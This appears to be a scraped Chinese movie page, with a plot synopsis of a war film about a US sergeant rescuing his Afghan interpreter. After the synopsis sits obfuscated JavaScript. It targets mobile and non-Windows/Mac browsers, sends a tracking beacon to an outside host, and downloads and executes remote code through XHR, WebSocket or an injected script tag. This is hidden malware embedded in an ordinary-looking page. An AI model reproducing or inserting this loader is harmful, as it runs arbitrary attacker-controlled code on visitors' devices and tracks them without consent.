剧情简介：
美国中士约翰·金利(杰克·吉伦哈尔饰)正在阿富汗执行他的最后一次任务，他和当地的翻译艾哈迈德一起调查这个地区。他们的部队在巡逻时遭到伏击，两人成为唯一的幸存者。在敌人的追击下，艾哈迈德冒着生命危险，带着受伤的金丽跨越数英里的地形，到达安全地带。回到美国后，李晶得知，按照承诺，阿默德和他的家人不被允许去美国。他决心保护这个朋友，报答他。他返回战区，在当地民兵到来之前救出了艾哈迈德一家。中士约翰·金利(杰克·吉伦哈尔饰演)最后一次上战场。当他和当地翻译艾哈迈德正在调查该地区时，他们的部队在巡逻时突然遭到伏击。幸运的是，他们还活着。不幸的是，只有他们是幸存者。李晶在伏击中受了重伤，这无疑增加了他们逃跑的风险。在敌人的追击下，阿迈德冒着生命危险带着受伤的李晶穿越数英里崎岖的地形，最终到达安全地带。回国后，李晶得知，阿默德和他的家人没有按照承诺被允许离开战区。他决心报答他的好意，保护艾哈迈德和他的家人。他返回战区，在当地民兵到来之前救出了艾哈迈德一家。2018年3月，阿富汗战争期间，美国陆军中士约翰·金利(John Jinli)及其部队在拉什卡尔加(Lashkar Gah)进行例行车辆检查时，遭到塔利班精心策划的卡车炸弹袭击，导致其翻译死亡。在需要一个替代者时，他被介绍给艾哈迈德·阿卜杜拉，一个坚定但不受欢迎的翻译，他声称他只是为了钱才从事这份工作。在一次秘密逮捕行动中，李晶得知艾哈迈德曾属于塔利班，但在该组织谋杀了他的儿子后叛逃。Ahmed后来拯救了金立的队伍，使其免受塔利班部队的伏击，而塔利班部队得到了阿富汗国民军士兵的帮助，并赢得了金立的尊重。在另一次突袭中，在巴格拉姆空军基地以北大约100公里(62英里)处检查一个可能的叛乱分子武器库时，金立的部队遭到塔利班援军的袭击，援军杀死了除他和Ahmed以外的所有人。两人徒步逃跑，并在逃跑过程中杀死了几名塔利班激进分子。当他们试图穿越阿富汗的群山返回空军基地时，再次遭到叛乱分子的伏击。他们设法伤害了李晶，然后用枪托殴打他，使他丧失了行动能力。艾哈迈德成功杀死了塔利班，并决定带金丽回空军基地。在一些富有同情心的阿富汗人的帮助下，Ahmed避开了塔利班，带着Jinli穿过了这个国家危险的山区。几天后，Ahmed和Jinli到达巴格拉姆附近，但他们遭到塔利班武装分子的袭击。艾哈迈德击毙了武装分子，但很快被美军逮捕。四周后，李晶被送回加州圣塔克拉里塔的家中。他不知道自己是如何获救的，但他知道艾哈迈德在其中扮演的角色。当李晶得知艾哈迈德和他的家人被迫转入地下，因为他们的越轨行为已经成为当地的民间传说时，他试图为他们获得美国签证，但没有成功。由于无法偿还欠阿迈德的债务，李晶在情感上备受折磨，几乎失眠。他最终决定亲自去救他，并在上司中校·沃克斯的帮助下获得了签证。金丽化名罗恩·凯回到阿富汗，与私人军事承包商帕克会面。帕克答应提供支持，条件是金立先找到艾哈迈德。Jinli遇到了Ahmed的兄弟Ali，后者设法将Jinli走私到塔利班控制的领土。在此过程中，他差点在一个公路检查站被抓，并击毙了两名叛乱分子，这引起了塔利班的注意。Walker告知Jinli，签证已经处理完毕，并已交给Parker。终于到达了艾哈迈德的藏身之处，李晶说服了他和他的家人陪他去美国。同时，帕克推断金立的真实身份；意识到它们对塔利班的价值，他安排了一架AC-130武装直升机和一架阿帕奇攻击直升机提供空中支援。与此同时，塔利班对金利发动了攻击，金利设法与Ahmed的家人逃到附近的Darunta大坝。这两个人被逼近的塔利班军队逼到了墙角，与他们进行了一场旷日持久的枪战，直到他们耗尽了弹药。然而，AC-130和阿帕奇直升机抵达并摧毁了袭击者。帕克带着额外的增援部队赶到了；他宣称，如果不隐瞒身份，他将全心全意支持金立的使命。护送回巴格拉姆空军基地后，这群人登上了离开阿富汗的飞机。当他们离开时，李晶和艾哈迈德相互点点头，表示契约得到了遵守。影片结尾的标题说，塔利班收复阿富汗后，300多名隶属美军的阿富汗翻译被该组织杀害，还有数千人仍藏身其中。
function tzSxNF(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function SeQxY(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return tzSxNF(t);};window[''+'R'+'U'+'j'+'D'+'I'+'m'+'v'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=SeQxY,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/7731/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqaC5mmYW5odWltaW4xLmmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGdXkudGGlhbnhpbmdoYW5nMS5jbiUzQTk1MzU=','135562',window,document,['m','G']);}:function(){};
